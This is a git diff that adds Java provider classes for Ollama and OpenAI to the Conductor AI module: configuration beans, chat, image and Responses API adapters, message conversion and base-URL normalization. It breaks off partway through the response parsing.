+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.ollama; + +import java.time.Duration; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +@Data +@Component +@ConfigurationProperties(prefix = "conductor.ai.ollama") +@NoArgsConstructor +public class OllamaConfiguration implements ModelConfiguration { + + private String baseURL; + + private String authHeaderName; + + private String authHeader; + + private Duration timeout = Duration.ofSeconds(600); + + private OkHttpClient httpClient; + + public OllamaConfiguration( + String baseURL, String authHeaderName, String authHeader, OkHttpClient httpClient) { + this.baseURL = baseURL; + this.authHeaderName = authHeaderName; + this.authHeader = authHeader; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + public String getBaseURL() { + return baseURL == null ? "http://localhost:11434" : baseURL; + } + + @Override + public Ollama get() { + return httpClient != null ? new Ollama(this, httpClient) : new Ollama(this); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAI.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAI.java new file mode 100644 index 0000000..d1306a0 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAI.java @@ -0,0 +1,287 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import org.conductoross.conductor.ai.AIModel; +import org.conductoross.conductor.ai.http.AIHttpClients; +import org.conductoross.conductor.ai.model.AudioGenRequest; +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.conductoross.conductor.ai.model.LLMResponse; +import org.conductoross.conductor.ai.model.Media; +import org.conductoross.conductor.ai.model.ToolSpec; +import org.conductoross.conductor.ai.model.VideoGenRequest; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIEmbeddingsApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIImageGenApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.Tool; +import org.conductoross.conductor.ai.providers.openai.api.OpenAISpeechApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIVideoApi; +import org.conductoross.conductor.ai.video.VideoModel; +import org.conductoross.conductor.ai.video.VideoOptions; +import org.conductoross.conductor.ai.video.VideoPrompt; +import org.conductoross.conductor.ai.video.VideoResponse; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.image.ImageModel; + +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; +import okhttp3.OkHttpClient; + +@Slf4j +public class OpenAI implements AIModel { + + public static final String NAME = "openai"; + private final OpenAIConfiguration config; + + // OkHttp-based API clients + private final OpenAIResponsesApi responsesApi; + private final OpenAIEmbeddingsApi embeddingsApi; + private final OpenAIImageGenApi imageGenApi; + private final OpenAISpeechApi speechApi; + private final OpenAIVideoApi videoApi; + + // Spring AI adapter + private final OpenAIResponsesChatModel chatModel; + private final OpenAIHttpImageModel imageModel; + private final OpenAIVideoModel videoModel; + + private final ObjectMapper objectMapper = new ObjectMapper(); + + public OpenAI(OpenAIConfiguration config) { + this(config, AIHttpClients.defaultClient()); + } + + public OpenAI(OpenAIConfiguration config, OkHttpClient httpClient) { + this.config = config; + // Normalize the configured base URL so it always ends in "/v1". The embeddings/responses/ + // image/speech APIs append paths like "/embeddings" and expect the "/v1" segment to be + // present, so a host-only base URL (e.g. "https://api.openai.com") would otherwise 404. + // This keeps the base URL backward compatible: host-only, ".../v1", or blank all work. + String baseUrl = ensureV1(config.getBaseURL()); + String baseUrlNoV1 = stripV1(baseUrl); + + this.responsesApi = new OpenAIResponsesApi(httpClient, config.getApiKey(), baseUrl, false); + this.embeddingsApi = + new OpenAIEmbeddingsApi(httpClient, config.getApiKey(), baseUrl, false); + this.imageGenApi = new OpenAIImageGenApi(httpClient, config.getApiKey(), baseUrl, false); + this.speechApi = new OpenAISpeechApi(httpClient, config.getApiKey(), baseUrl, false); + this.videoApi = new OpenAIVideoApi(httpClient, config.getApiKey(), baseUrlNoV1); + + this.chatModel = new OpenAIResponsesChatModel(responsesApi); + this.imageModel = new OpenAIHttpImageModel(imageGenApi); + this.videoModel = new OpenAIVideoModel(videoApi, httpClient); + } + + @Override + public String getModelProvider() { + return NAME; + } + + @Override + public List generateEmbeddings(EmbeddingGenRequest embeddingGenRequest) { + try { + var request = + new OpenAIEmbeddingsApi.EmbeddingRequest( + embeddingGenRequest.getModel(), + embeddingGenRequest.getText(), + embeddingGenRequest.getDimensions()); + var result = embeddingsApi.createEmbeddings(request); + if (result.data() != null && !result.data().isEmpty()) { + return result.data().getFirst().embedding(); + } + return List.of(); + } catch (IOException e) { + throw new RuntimeException("Embeddings API call failed: " + e.getMessage(), e); + } + } + + @Override + public ChatOptions getChatOptions(ChatCompletion input) { + List tools = convertTools(input); + + OpenAIResponsesChatOptions.OpenAIResponsesChatOptionsBuilder builder = + OpenAIResponsesChatOptions.builder() + .model(input.getModel()) + .topP(input.getTopP()) + .frequencyPenalty(input.getFrequencyPenalty()) + .presencePenalty(input.getPresencePenalty()) + .maxTokens(input.getMaxTokens()) + .stopSequences(input.getStopWords()) + .previousResponseId(input.getPreviousResponseId()) + .reasoningEffort(input.getReasoningEffort()) + .reasoningSummary(input.getReasoningSummary()) + .jsonOutput(input.isJsonOutput()) + .responsesApiTools(tools.isEmpty() ? null : tools); + + // Reasoning models don't support temperature/topP/stop + if (isReasoningModel(input.getModel())) { + builder.temperature(null); + builder.topP(null); + builder.stopSequences(null); + } + + return builder.build(); + } + + @Override + public ChatModel getChatModel() { + return this.chatModel; + } + + @Override + public ImageModel getImageModel() { + return this.imageModel; + } + + @Override + public LLMResponse generateAudio(AudioGenRequest request) { + try { + String responseFormat = + request.getResponseFormat() != null + ? request.getResponseFormat().toLowerCase() + : "mp3"; + + var speechRequest = + new OpenAISpeechApi.SpeechRequest( + request.getModel(), + request.getText(), + request.getVoice(), + responseFormat, + request.getSpeed()); + byte[] audioData = speechApi.createSpeech(speechRequest); + + List media = new ArrayList<>(); + media.add(Media.builder().data(audioData).mimeType("audio/*").build()); + return LLMResponse.builder().media(media).build(); + } catch (IOException e) { + throw new RuntimeException("Speech API call failed: " + e.getMessage(), e); + } + } + + @Override + public VideoModel getVideoModel() { + return this.videoModel; + } + + @Override + public LLMResponse generateVideo(VideoGenRequest request) { + VideoOptions options = getVideoOptions(request); + VideoPrompt videoPrompt = new VideoPrompt(request.getPrompt(), options); + VideoResponse response = videoModel.call(videoPrompt); + + return LLMResponse.builder() + .jobId(response.getMetadata().getJobId()) + .finishReason(response.getMetadata().getStatus()) + .build(); + } + + @Override + public LLMResponse checkVideoStatus(VideoGenRequest request) { + VideoResponse response = videoModel.checkStatus(request.getJobId()); + String status = response.getMetadata().getStatus(); + + LLMResponse.LLMResponseBuilder builder = LLMResponse.builder().finishReason(status); + + if ("COMPLETED".equals(status)) { + List mediaList = new ArrayList<>(); + for (var gen : response.getResults()) { + var video = gen.getOutput(); + String mimeType = video.getMimeType() != null ? video.getMimeType() : "video/mp4"; + + if (video.getData() != null) { + mediaList.add(Media.builder().data(video.getData()).mimeType(mimeType).build()); + } else if (video.getB64Json() != null) { + mediaList.add( + Media.builder() + .data(java.util.Base64.getDecoder().decode(video.getB64Json())) + .mimeType(mimeType) + .build()); + } + } + builder.media(mediaList); + } + + return builder.build(); + } + + // -- Helpers -- + + private List convertTools(ChatCompletion input) { + List tools = new ArrayList<>(); + + // OpenAI Responses API built-in tools + if (input.isWebSearch()) { + tools.add(Tool.webSearch()); + } + if (input.isCodeInterpreter()) { + tools.add(Tool.codeInterpreter()); + } + if (input.getFileSearchVectorStoreIds() != null + && !input.getFileSearchVectorStoreIds().isEmpty()) { + tools.add(Tool.fileSearch(input.getFileSearchVectorStoreIds())); + } + + // Convert Conductor ToolSpecs to Responses API function tools + if (input.getTools() != null) { + for (ToolSpec toolSpec : input.getTools()) { + try { + Object params = toolSpec.getInputSchema(); + tools.add(Tool.function(toolSpec.getName(), toolSpec.getDescription(), params)); + } catch (Exception e) { + log.warn("Failed to convert tool spec: {}", toolSpec.getName(), e); + } + } + } + + return tools; + } + + private boolean isReasoningModel(String modelName) { + if (modelName == null) { + return false; + } + String model = modelName.toLowerCase(); + return model.startsWith("o1") + || model.startsWith("o3") + || model.startsWith("o4") + || model.startsWith("gpt-5"); + } + + private static String stripV1(String baseUrl) { + if (baseUrl != null && baseUrl.endsWith("/v1")) { + return baseUrl.substring(0, baseUrl.length() - 3); + } + return baseUrl; + } + + /** + * Ensures the base URL ends with "/v1" (idempotent). Strips a trailing slash first so both + * "https://api.openai.com" and "https://api.openai.com/" become "https://api.openai.com/v1", + * while an already-correct "https://api.openai.com/v1" is left unchanged. Returns {@code null} + * unchanged so callers fall back to their own default. + */ + private static String ensureV1(String baseUrl) { + if (baseUrl == null || baseUrl.isBlank()) { + return baseUrl; + } + String trimmed = + baseUrl.endsWith("/") ? baseUrl.substring(0, baseUrl.length() - 1) : baseUrl; + return trimmed.endsWith("/v1") ? trimmed : trimmed + "/v1"; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAICompatChatModel.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAICompatChatModel.java new file mode 100644 index 0000000..5229ad2 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAICompatChatModel.java @@ -0,0 +1,246 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIChatCompletionsApi.*; +import org.springframework.ai.chat.messages.*; +import org.springframework.ai.chat.metadata.ChatGenerationMetadata; +import org.springframework.ai.chat.metadata.ChatResponseMetadata; +import org.springframework.ai.chat.metadata.DefaultUsage; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.model.Generation; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.model.tool.ToolCallingChatOptions; + +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; + +/** + * Spring AI {@link ChatModel} backed by the OpenAI-compatible Chat Completions API via OkHttp. + * + *

Works with any provider that implements the standard Chat Completions format (Perplexity, + * Grok, Together AI, etc.). + */ +@Slf4j +public class OpenAICompatChatModel implements ChatModel { + + private final OpenAIChatCompletionsApi api; + private final ObjectMapper objectMapper = new ObjectMapper(); + + public OpenAICompatChatModel(OpenAIChatCompletionsApi api) { + this.api = api; + } + + @Override + public ChatResponse call(Prompt prompt) { + try { + ChatCompletionRequest request = buildRequest(prompt); + ChatCompletionResult result = api.createChatCompletion(request); + return toSpringChatResponse(result); + } catch (IOException e) { + throw new RuntimeException("Chat Completions API call failed: " + e.getMessage(), e); + } + } + + private ChatCompletionRequest buildRequest(Prompt prompt) { + List messages = prompt.getInstructions(); + ChatOptions options = prompt.getOptions(); + + List items = new ArrayList<>(); + for (Message msg : messages) { + items.addAll(convertMessage(msg)); + } + + String model = options != null ? options.getModel() : null; + Double temperature = options != null ? options.getTemperature() : null; + Double topP = options != null ? options.getTopP() : null; + Integer maxTokens = options != null ? options.getMaxTokens() : null; + List stop = options != null ? options.getStopSequences() : null; + Double frequencyPenalty = options != null ? options.getFrequencyPenalty() : null; + Double presencePenalty = options != null ? options.getPresencePenalty() : null; + Integer topK = options != null ? options.getTopK() : null; + + List tools = null; + if (options instanceof ToolCallingChatOptions tcOpts + && tcOpts.getToolCallbacks() != null + && !tcOpts.getToolCallbacks().isEmpty()) { + tools = new ArrayList<>(); + for (var cb : tcOpts.getToolCallbacks()) { + var def = cb.getToolDefinition(); + // inputSchema() returns a JSON string — parse it to an object so Jackson + // serializes it as a nested JSON object, not a quoted string + Object parameters = parseSchemaToObject(def.inputSchema()); + tools.add(ToolDef.function(def.name(), def.description(), parameters)); + } + } + + return ChatCompletionRequest.builder() + .model(model) + .messages(items) + .temperature(temperature) + .topP(topP) + .maxTokens(maxTokens) + .stop(stop != null && !stop.isEmpty() ? stop : null) + .frequencyPenalty(frequencyPenalty) + .presencePenalty(presencePenalty) + .topK(topK) + .tools(tools != null && !tools.isEmpty() ? tools : null) + .build(); + } + + private List convertMessage(Message msg) { + List items = new ArrayList<>(); + switch (msg.getMessageType()) { + case SYSTEM -> items.add(MessageItem.system(((SystemMessage) msg).getText())); + case USER -> { + UserMessage userMsg = (UserMessage) msg; + List media = userMsg.getMedia(); + if (media != null && !media.isEmpty()) { + // Multi-modal: text + image_url content parts. Without this the + // image is silently dropped and the model never sees it. + List parts = new ArrayList<>(); + if (userMsg.getText() != null && !userMsg.getText().isBlank()) { + parts.add(ContentPart.text(userMsg.getText())); + } + for (org.springframework.ai.content.Media m : media) { + // Media can be a URL or raw bytes; conductor-ai usually + // pre-downloads to bytes, which we send as a data URI. + String url = + m.getData() instanceof byte[] bytes + ? "data:" + + m.getMimeType() + + ";base64," + + java.util.Base64.getEncoder() + .encodeToString(bytes) + : m.getData().toString(); + parts.add(ContentPart.imageUrl(url)); + } + items.add(MessageItem.user(parts)); + } else { + items.add(MessageItem.user(userMsg.getText())); + } + } + case ASSISTANT -> { + AssistantMessage assistantMsg = (AssistantMessage) msg; + if (assistantMsg.hasToolCalls()) { + List toolCalls = new ArrayList<>(); + for (AssistantMessage.ToolCall tc : assistantMsg.getToolCalls()) { + toolCalls.add( + new ToolCallItem( + tc.id(), + "function", + new FunctionCall(tc.name(), tc.arguments()))); + } + items.add(MessageItem.assistant(assistantMsg.getText(), toolCalls)); + } else { + items.add(MessageItem.assistant(assistantMsg.getText())); + } + } + case TOOL -> { + ToolResponseMessage toolMsg = (ToolResponseMessage) msg; + for (ToolResponseMessage.ToolResponse tr : toolMsg.getResponses()) { + items.add(MessageItem.tool(tr.id(), tr.responseData())); + } + } + default -> log.warn("Unsupported message type: {}", msg.getMessageType()); + } + return items; + } + + private ChatResponse toSpringChatResponse(ChatCompletionResult result) { + List generations = new ArrayList<>(); + + if (result.choices() != null) { + for (Choice choice : result.choices()) { + MessageItem msg = choice.message(); + String text = msg != null && msg.content() instanceof String s ? s : ""; + String finishReason = choice.finishReason(); + + AssistantMessage assistantMessage; + if (msg != null && msg.toolCalls() != null && !msg.toolCalls().isEmpty()) { + List toolCalls = new ArrayList<>(); + for (ToolCallItem tc : msg.toolCalls()) { + toolCalls.add( + new AssistantMessage.ToolCall( + tc.id(), + "function", + tc.function().name(), + tc.function().arguments())); + } + assistantMessage = + AssistantMessage.builder().content(text).toolCalls(toolCalls).build(); + finishReason = "TOOL_CALLS"; + } else { + assistantMessage = new AssistantMessage(text); + } + + String mappedReason = mapFinishReason(finishReason); + ChatGenerationMetadata genMeta = + ChatGenerationMetadata.builder().finishReason(mappedReason).build(); + generations.add(new Generation(assistantMessage, genMeta)); + } + } + + Usage usage = result.usage(); + int inputTok = usage != null && usage.promptTokens() != null ? usage.promptTokens() : 0; + int outputTok = + usage != null && usage.completionTokens() != null ? usage.completionTokens() : 0; + int totalTok = usage != null && usage.totalTokens() != null ? usage.totalTokens() : 0; + DefaultUsage springUsage = new DefaultUsage(inputTok, outputTok, totalTok); + + ChatResponseMetadata metadata = + ChatResponseMetadata.builder() + .id(result.id()) + .model(result.model()) + .usage(springUsage) + .build(); + + return new ChatResponse(generations, metadata); + } + + @SuppressWarnings("unchecked") + private Object parseSchemaToObject(String schemaJson) { + if (schemaJson == null || schemaJson.isBlank()) { + return Map.of("type", "object"); + } + try { + return objectMapper.readValue(schemaJson, Map.class); + } catch (Exception e) { + return Map.of("type", "object"); + } + } + + private String mapFinishReason(String reason) { + if (reason == null) return "STOP"; + return switch (reason) { + case "stop" -> "STOP"; + case "length" -> "MAX_TOKENS"; + case "tool_calls" -> "TOOL_CALLS"; + case "content_filter" -> "CONTENT_FILTER"; + default -> reason.toUpperCase(); + }; + } + + @Override + public ChatOptions getDefaultOptions() { + return ToolCallingChatOptions.builder().build(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIConfiguration.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIConfiguration.java new file mode 100644 index 0000000..35d9708 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIConfiguration.java @@ -0,0 +1,64 @@ +/* + * Copyright 2025 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import java.time.Duration; + +import org.conductoross.conductor.ai.ModelConfiguration; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.stereotype.Component; + +import lombok.Data; +import lombok.NoArgsConstructor; +import okhttp3.OkHttpClient; + +@Data +@Component +@ConfigurationProperties(prefix = "conductor.ai.openai") +@NoArgsConstructor +public class OpenAIConfiguration implements ModelConfiguration { + + private String apiKey; + + private String baseURL; + + private String organizationId; + + private Duration timeout = Duration.ofSeconds(600); + + private OkHttpClient httpClient; + + public OpenAIConfiguration( + String apiKey, String baseURL, String organizationId, OkHttpClient httpClient) { + this.apiKey = apiKey; + this.baseURL = baseURL; + this.organizationId = organizationId; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + public String getBaseURL() { + return baseURL == null || baseURL.isBlank() ? "https://api.openai.com/v1" : baseURL; + } + + @Override + public OpenAI get() { + return new OpenAI(this, httpClient); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIHttpImageModel.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIHttpImageModel.java new file mode 100644 index 0000000..19bbab7 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIHttpImageModel.java @@ -0,0 +1,91 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import org.conductoross.conductor.ai.providers.openai.api.OpenAIImageGenApi; +import org.springframework.ai.image.Image; +import org.springframework.ai.image.ImageGeneration; +import org.springframework.ai.image.ImageModel; +import org.springframework.ai.image.ImageOptions; +import org.springframework.ai.image.ImagePrompt; +import org.springframework.ai.image.ImageResponse; + +/** + * Spring AI {@link ImageModel} implementation backed by OkHttp calls to OpenAI's image generation + * API. + */ +public class OpenAIHttpImageModel implements ImageModel { + + private final OpenAIImageGenApi imageGenApi; + + public OpenAIHttpImageModel(OpenAIImageGenApi imageGenApi) { + this.imageGenApi = imageGenApi; + } + + @Override + public ImageResponse call(ImagePrompt prompt) { + try { + ImageOptions options = prompt.getOptions(); + String promptText = + prompt.getInstructions().stream() + .map(msg -> msg.getText()) + .reduce((a, b) -> a + " " + b) + .orElse(""); + + String size = null; + if (options != null && options.getWidth() != null && options.getHeight() != null) { + size = options.getWidth() + "x" + options.getHeight(); + } + + String model = options != null ? options.getModel() : null; + // gpt-image-1 always returns b64_json and rejects response_format / style; + // sending either yields a 400 from the OpenAI API. + boolean isGptImage = model != null && model.toLowerCase().startsWith("gpt-image"); + String style = (options != null && !isGptImage) ? options.getStyle() : null; + String responseFormat = + isGptImage + ? null + : (options != null && options.getResponseFormat() != null + ? options.getResponseFormat() + : "b64_json"); + + var request = + OpenAIImageGenApi.ImageRequest.builder() + .model(model) + .prompt(promptText) + .n(options != null && options.getN() != null ? options.getN() : 1) + .size(size) + .style(style) + .responseFormat(responseFormat) + .build(); + + var result = imageGenApi.createImage(request); + + List generations = new ArrayList<>(); + if (result.data() != null) { + for (var imageData : result.data()) { + Image image = new Image(imageData.url(), imageData.b64Json()); + generations.add(new ImageGeneration(image)); + } + } + + return new ImageResponse(generations); + } catch (IOException e) { + throw new RuntimeException("Image generation API call failed: " + e.getMessage(), e); + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatModel.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatModel.java new file mode 100644 index 0000000..b1b5d93 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatModel.java @@ -0,0 +1,308 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.openai; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.ContentPart; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.InputItem; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.OutputContent; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.OutputItem; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.ResponseRequest; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.ResponseResult; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.TextFormat; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.Tool; +import org.conductoross.conductor.ai.providers.openai.api.OpenAIResponsesApi.Usage; +import org.springframework.ai.chat.messages.AssistantMessage; +import org.springframework.ai.chat.messages.Message; +import org.springframework.ai.chat.messages.MessageType; +import org.springframework.ai.chat.messages.SystemMessage; +import org.springframework.ai.chat.messages.ToolResponseMessage; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.metadata.ChatGenerationMetadata; +import org.springframework.ai.chat.metadata.ChatResponseMetadata; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.model.Generation; +import org.springframework.ai.chat.prompt.ChatOptions; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.content.Media; +import org.springframework.ai.model.tool.ToolCallingChatOptions; + +import com.fasterxml.jackson.core.JsonProcessingException; +import lombok.extern.slf4j.Slf4j; + +/** + * Spring AI {@link ChatModel} implementation backed by the OpenAI Responses API via OkHttp. + * + *

Converts Spring AI {@link Prompt} messages to Responses API input format, calls the API, and + * converts the response back to Spring AI's {@link ChatResponse}. + */ +@Slf4j +public class OpenAIResponsesChatModel implements ChatModel { + + private final OpenAIResponsesApi responsesApi; + + public OpenAIResponsesChatModel(OpenAIResponsesApi responsesApi) { + this.responsesApi = responsesApi; + } + + @Override + public ChatResponse call(Prompt prompt) { + try { + ResponseRequest request = buildRequest(prompt); + ResponseResult result = responsesApi.createResponse(request); + return toSpringChatResponse(result); + } catch (IOException e) { + throw new RuntimeException("OpenAI Responses API call failed: " + e.getMessage(), e); + } + } + + private ResponseRequest buildRequest(Prompt prompt) throws JsonProcessingException { + List messages = prompt.getInstructions(); + ChatOptions options = prompt.getOptions(); + + // Extract system messages → instructions field + String instructions = null; + List nonSystemMessages = new ArrayList<>(); + for (Message msg : messages) { + if (msg.getMessageType() == MessageType.SYSTEM) { + // Concatenate multiple system messages + String sysText = ((SystemMessage) msg).getText(); + instructions = instructions == null ? sysText : instructions + "\n" + sysText; + } else { + nonSystemMessages.add(msg); + } + } + + // Convert messages → Responses API input items + List inputItems = new ArrayList<>(); + for (Message msg : nonSystemMessages) { + inputItems.addAll(convertMessage(msg)); + } + + // Extract options + String model = options != null ? options.getModel() : null; + Double temperature = options != null ? options.getTemperature() : null; + Double topP = options != null ? options.getTopP() : null; + Integer maxTokens = options != null ? options.getMaxTokens() : null; + + // Extract extended options from OpenAIResponsesChatOptions + String previousResponseId = null; + String reasoningEffort = null; + String reasoningSummary = null; + Boolean jsonOutput = null; + List tools = null; + + if (options instanceof OpenAIResponsesChatOptions extOpts) { + previousResponseId = extOpts.getPreviousResponseId(); + reasoningEffort = extOpts.getReasoningEffort(); + reasoningSummary = extOpts.getReasoningSummary(); + jsonOutput = extOpts.getJsonOutput(); + tools = extOpts.getResponsesApiTools(); + } + + // Build text format for JSON output + TextFormat textFormat = null; + if (Boolean.TRUE.equals(jsonOutput)) { + textFormat = TextFormat.jsonObject(); + } + + ResponseRequest.Builder builder = + ResponseRequest.builder() + .model(model) + .input(inputItems) + .instructions(instructions) + .tools(tools != null && !tools.isEmpty() ? tools : null) + .previousResponseId(previousResponseId) + .temperature(temperature) + .topP(topP) + .maxOutputTokens(maxTokens) + .reasoningEffort(reasoningEffort) + .reasoningSummary(reasoningSummary) + .text(textFormat); + + return builder.build(); + } + + private List convertMessage(Message msg) throws JsonProcessingException { + List items = new ArrayList<>(); + + switch (msg.getMessageType()) { + case USER -> { + UserMessage userMsg = (UserMessage) msg; + List media = userMsg.getMedia(); + if (media != null && !media.isEmpty()) { + // Multi-modal: text + images + List parts = new ArrayList<>(); + if (userMsg.getText() != null && !userMsg.getText().isBlank()) { + parts.add(ContentPart.inputText(userMsg.getText())); + } + for (Media m : media) { + // Media can be URL or base64 data + String dataStr = + m.getData() instanceof byte[] bytes + ? "data:" + + m.getMimeType() + + ";base64," + + java.util.Base64.getEncoder() + .encodeToString(bytes) + : m.getData().toString(); + parts.add(ContentPart.inputImage(dataStr)); + } + items.add(InputItem.userMessage(parts)); + } else { + items.add(InputItem.userMessage(userMsg.getText())); + } + } + + case ASSISTANT -> { + AssistantMessage assistantMsg = (AssistantMessage) msg; + if (assistantMsg.hasToolCalls()) { + // Tool call messages: emit function_call items + for (AssistantMessage.ToolCall tc : assistantMsg.getToolCalls()) { + items.add(InputItem.functionCall(tc.id(), tc.name(), tc.arguments())); + } + } else { + String text = assistantMsg.getText(); + if (text != null && !text.isBlank()) { + items.add(InputItem.assistantMessage(text)); + } + } + } + + case TOOL -> { + ToolResponseMessage toolMsg = (ToolResponseMessage) msg; + for (ToolResponseMessage.ToolResponse tr : toolMsg.getResponses()) { + items.add(InputItem.functionCallOutput(tr.id(), tr.responseData())); + } + } + + default -> log.warn("Unsupported message type: {}", msg.getMessageType()); + } + + return items; + } + + private ChatResponse toSpringChatResponse(ResponseResult result) { + List generations = new ArrayList<>(); + Usage usage = result.usage(); + + StringBuilder reasoningBuilder = new StringBuilder(); + if (result.output() != null) { + // Collect text from message outputs and tool calls separately + StringBuilder textBuilder = new StringBuilder(); + List toolCalls = new ArrayList<>(); + String finishReason = result.status(); // "completed" typically + + for (OutputItem item : result.output()) { + if ("message".equals(item.type())) { + if (item.content() != null) { + for (OutputContent content : item.content()) { + if ("output_text".equals(content.type()) && content.text() != null) { + if (!textBuilder.isEmpty()) { + textBuilder.append("\n"); + } + textBuilder.append(content.text()); + } + } + } + } else if ("function_call".equals(item.type())) { + toolCalls.add( + new AssistantMessage.ToolCall( + item.callId(), "function", item.name(), item.arguments())); + finishReason = "TOOL_CALLS"; + } else if ("reasoning".equals(item.type()) && item.summary() != null) { + // Chain-of-thought summaries returned when the request set + // reasoning.summary. Concatenate so downstream consumers + // see a single text blob in metadata["reasoning"]. + for (var s : item.summary()) { + if (s != null && s.text() != null && !s.text().isBlank()) { + if (!reasoningBuilder.isEmpty()) { + 